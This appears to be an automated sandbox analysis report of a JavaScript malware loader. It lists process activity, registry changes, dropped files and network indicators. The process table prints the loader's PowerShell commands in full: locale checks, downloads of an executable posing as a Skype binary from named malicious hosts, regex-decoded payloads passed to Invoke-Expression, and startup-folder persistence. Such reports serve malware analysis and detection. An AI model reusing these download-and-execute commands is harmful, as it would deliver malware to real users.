| File name: | Versamento___0000_11083 xm.js |
| Full analysis: | https://app.any.run/tasks/78a181e8-ea44-498f-bdd2-b70bf0077003 |
| Verdict: | Malicious activity |
| Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
| Analysis date: | March 21, 2019, 15:50:17 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with CRLF, LF line terminators |
| MD5: | 28A2DE66A5C75C9060A165AA5816FF39 |
| SHA1: | 91881DCE944CE67088A3CD7A36B235B734855506 |
| SHA256: | 94EC7A50D72C709A3C6CBE3E7066DCA589C3424B969141CF6377FC215B8CA856 |
| SSDEEP: | 192:VcRpeoVtZTT45pq+LjA1KLUMpMMDzqz5CpW1HDKVO1:KV5TY5Q1wUqMMDzqz5CpiKV+ |
MALICIOUS
Downloads executable files from the Internet
- powershell.exe (PID: 584)
Application was dropped or rewritten from another process
- SkypeApp64.exe (PID: 2668)
Connects to CnC server
- powershell.exe (PID: 1020)
- powershell.exe (PID: 3300)
Writes to a start menu file
- powershell.exe (PID: 1020)
SUSPICIOUS
Executes PowerShell scripts
- WScript.exe (PID: 2732)
- WScript.exe (PID: 2928)
- WScript.exe (PID: 1784)
Executable content was dropped or overwritten
- powershell.exe (PID: 584)
Creates files in the user directory
- powershell.exe (PID: 1632)
- powershell.exe (PID: 1020)
- powershell.exe (PID: 584)
- powershell.exe (PID: 3300)
Executes scripts
- powershell.exe (PID: 1632)
- powershell.exe (PID: 1020)
INFO
Dropped object may contain Bitcoin addresses
- powershell.exe (PID: 1020)
- powershell.exe (PID: 3300)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
42
Monitored processes
8
Malicious processes
2
Suspicious processes
2
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 584 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $eibjsgxcgxafx = [System.IO.Path]::GetTempPath() +'\..' +'\' + 'SkypeApp64.exe'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadattorney.com/501?htswbitxzgza',$eibjsgxcgxafx); Start-Process $eibjsgxcgxafx; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1020 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $zyiswz = [System.IO.Path]::GetTempPath() + '\SearchI32.txt';$xhahjbeyxuzxthdzsyve = ''; ( New-Object System.Net.WebClient ).DownloadFile('http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php',$zyiswz);;Get-Content $zyiswz | Where-Object {$_ -match $regex} | ForEach-Object { $xhahjbeyxuzxthdzsyve += $_ -replace '..(.)','$1'} ;Invoke-Expression -Command $xhahjbeyxuzxthdzsyve; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1632 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $ystuavett = [System.IO.Path]::GetTempPath() + '\SearchI32.js'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadattorney.com/502?cyezdw',$ystuavett); Start-Process $ystuavett; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 1784 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" | C:\Windows\System32\WScript.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2668 | "C:\Users\admin\AppData\Local\SkypeApp64.exe" | C:\Users\admin\AppData\Local\SkypeApp64.exe | powershell.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2732 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Versamento___0000_11083 xm.js" | C:\Windows\System32\WScript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 2928 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" | C:\Windows\System32\WScript.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 Modules
| |||||||||||||||
| 3300 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $zvbswdhbaxesvcz = [System.IO.Path]::GetTempPath() + '\SearchI32.txt';$xtxxfzuxwhcwb = ''; ( New-Object System.Net.WebClient ).DownloadFile('http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php',$zvbswdhbaxesvcz);;Get-Content $zvbswdhbaxesvcz | Where-Object {$_ -match $regex} | ForEach-Object { $xtxxfzuxwhcwb += $_ -replace '..(.)','$1'} ;Invoke-Expression -Command $xtxxfzuxwhcwb; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
Total events
1 855
Read events
1 593
Write events
262
Delete events
0
Modification events
| (PID) Process: | (2732) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
| (PID) Process: | (2732) WScript.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | AutoDetect |
Value: 1 | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (584) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\62\52C64B7E |
| Operation: | write | Name: | LanguageList |
Value: en-US | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: 4294901760 | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (1632) powershell.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
Executable files
1
Suspicious files
8
Text files
9
Unknown types
1
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FT7BZKMPMAYUGWXSEYS8.temp | — | |
MD5:— | SHA256:— | |||
| 584 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BIQ470WYPQP6OQC3UX2T.temp | — | |
MD5:— | SHA256:— | |||
| 1020 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UCOQH5NQC9Q66W6OUR8E.temp | — | |
MD5:— | SHA256:— | |||
| 3300 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0RM32VD0VUZM2TL3JV10.temp | — | |
MD5:— | SHA256:— | |||
| 1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:— | SHA256:— | |||
| 584 | powershell.exe | C:\Users\admin\AppData\Local\SkypeApp64.exe | executable | |
MD5:— | SHA256:— | |||
| 1020 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Indexing Service SearchI32.lnk | lnk | |
MD5:— | SHA256:— | |||
| 584 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf88de.TMP | binary | |
MD5:— | SHA256:— | |||
| 1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf88de.TMP | binary | |
MD5:— | SHA256:— | |||
| 1020 | powershell.exe | C:\Users\admin\AppData\Local\Temp\SearchI32.txt | text | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
6
DNS requests
4
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
3300 | powershell.exe | GET | — | 185.158.250.114:80 | http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | — | — | malicious |
584 | powershell.exe | GET | 200 | 31.214.157.69:80 | http://cloud.kokoheadattorney.com/501?htswbitxzgza | NL | executable | 260 Kb | malicious |
1632 | powershell.exe | GET | 200 | 31.214.157.69:80 | http://cloud.kokoheadattorney.com/502?cyezdw | NL | text | 22.4 Kb | malicious |
1020 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php | NL | text | 19.3 Kb | malicious |
3300 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php | NL | text | 19.3 Kb | malicious |
1020 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 19.3 Kb | malicious |
1020 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 14.6 Kb | malicious |
3300 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 2 b | malicious |
3300 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 2 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
584 | powershell.exe | 31.214.157.69:80 | cloud.kokoheadattorney.com | easystores GmbH | NL | suspicious |
1632 | powershell.exe | 31.214.157.69:80 | cloud.kokoheadattorney.com | easystores GmbH | NL | suspicious |
1020 | powershell.exe | 185.158.250.114:80 | cdn.zaczvk.pl | M247 Ltd | NL | malicious |
3300 | powershell.exe | 185.158.250.114:80 | cdn.zaczvk.pl | M247 Ltd | NL | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
cloud.kokoheadattorney.com |
| malicious |
cdn.zaczvk.pl |
| unknown |
space.bajamelide.ch |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
584 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
584 | powershell.exe | A Network Trojan was detected | ET TROJAN Possible Windows executable sent when remote host claims to send a Text File |
584 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1020 | powershell.exe | A Network Trojan was detected | ET TROJAN Unk/JS.Downloader CnC Checkin |
3300 | powershell.exe | A Network Trojan was detected | ET TROJAN Unk/JS.Downloader CnC Checkin |
Process | Message |
|---|---|
SkypeApp64.exe | MP3 file corrupted |
SkypeApp64.exe | OGG 0 |